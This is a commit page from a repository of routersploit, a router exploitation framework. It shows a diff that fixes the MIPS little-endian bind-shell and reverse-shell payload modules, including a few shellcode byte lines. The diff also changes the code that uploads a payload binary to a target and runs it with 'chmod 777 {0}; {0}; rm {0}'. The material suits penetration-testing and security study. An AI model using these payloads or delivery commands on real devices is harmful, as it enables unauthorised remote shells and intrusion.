Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
df6e1b66
Commit
df6e1b66
authored
Oct 25, 2017
by
Marcin Bury
Committed by
GitHub
Oct 25, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Payloads fixes (#337)
* Fixing payloads * Pep fixes
parent
86b8c55e
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
15 additions
and
8 deletions
+15
-8
bind_tcp.py
routersploit/modules/payloads/mipsle/bind_tcp.py
+2
-2
reverse_tcp.py
routersploit/modules/payloads/mipsle/reverse_tcp.py
+1
-1
shell.py
routersploit/shell.py
+12
-5
No files found.
routersploit/modules/payloads/mipsle/bind_tcp.py
View file @
df6e1b66
...
@@ -18,10 +18,10 @@ class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
...
@@ -18,10 +18,10 @@ class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
],
],
}
}
architecture
=
Architectures
.
MIPS
B
E
architecture
=
Architectures
.
MIPS
L
E
def
generate
(
self
):
def
generate
(
self
):
bind_port
=
validators
.
convert_port
(
self
.
l
port
)
bind_port
=
validators
.
convert_port
(
self
.
r
port
)
return
(
return
(
"
\xe0\xff\xbd\x27
"
+
# addiu sp,sp,-32
"
\xe0\xff\xbd\x27
"
+
# addiu sp,sp,-32
"
\xfd\xff\x0e\x24
"
+
# li t6,-3
"
\xfd\xff\x0e\x24
"
+
# li t6,-3
...
...
routersploit/modules/payloads/mipsle/reverse_tcp.py
View file @
df6e1b66
...
@@ -18,7 +18,7 @@ class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
...
@@ -18,7 +18,7 @@ class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
],
],
}
}
architecture
=
Architectures
.
MIPS
B
E
architecture
=
Architectures
.
MIPS
L
E
def
generate
(
self
):
def
generate
(
self
):
reverse_ip
=
validators
.
convert_ip
(
self
.
lhost
)
reverse_ip
=
validators
.
convert_ip
(
self
.
lhost
)
...
...
routersploit/shell.py
View file @
df6e1b66
...
@@ -283,16 +283,19 @@ class Communication(object):
...
@@ -283,16 +283,19 @@ class Communication(object):
if
isinstance
(
item_exec_binary
,
str
):
if
isinstance
(
item_exec_binary
,
str
):
try
:
try
:
commands
.
append
(
item_exec_binary
.
format
(
path
))
commands
.
append
(
item_exec_binary
.
format
(
path
))
except
ValueError
:
except
(
KeyError
,
ValueError
)
:
commands
.
append
(
item_exec_binary
)
commands
.
append
(
item_exec_binary
)
elif
callable
(
item_exec_binary
):
elif
callable
(
item_exec_binary
):
commands
.
append
(
item_exec_binary
(
path
))
commands
.
append
(
item_exec_binary
(
path
))
# instruction to execute generic payload e.g. netcat / awk
# instruction to execute generic payload e.g. netcat / awk
elif
isinstance
(
self
.
exec_binary
,
str
):
elif
isinstance
(
self
.
exec_binary
,
str
):
try
:
commands
.
append
(
self
.
exec_binary
.
format
(
path
))
except
(
KeyError
,
ValueError
):
commands
.
append
(
self
.
exec_binary
)
commands
.
append
(
self
.
exec_binary
)
# default way of exec
tuign
payload
# default way of exec
uting
payload
else
:
else
:
exec_binary_str
=
"chmod 777 {0}; {0}; rm {0}"
.
format
(
path
)
exec_binary_str
=
"chmod 777 {0}; {0}; rm {0}"
.
format
(
path
)
commands
.
append
(
exec_binary_str
)
commands
.
append
(
exec_binary_str
)
...
@@ -314,7 +317,7 @@ class Communication(object):
...
@@ -314,7 +317,7 @@ class Communication(object):
for
command
in
commands
[:
-
1
]:
for
command
in
commands
[:
-
1
]:
self
.
exploit
.
execute
(
command
)
self
.
exploit
.
execute
(
command
)
# asynchronous last command to execute binary
# asynchronous last command to execute binary
& rm binary
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
commands
[
-
1
],))
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
commands
[
-
1
],))
thread
.
start
()
thread
.
start
()
...
@@ -333,8 +336,12 @@ class Communication(object):
...
@@ -333,8 +336,12 @@ class Communication(object):
# execute binary
# execute binary
commands
=
self
.
build_commands
()
commands
=
self
.
build_commands
()
for
command
in
commands
:
# synchronized commands
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
command
,))
for
command
in
commands
[:
-
1
]:
self
.
exploit
.
execute
(
command
)
# asynchronous last command to execute binary & rm binary
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
commands
[
-
1
],))
thread
.
start
()
thread
.
start
()
# connecting to shell
# connecting to shell
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment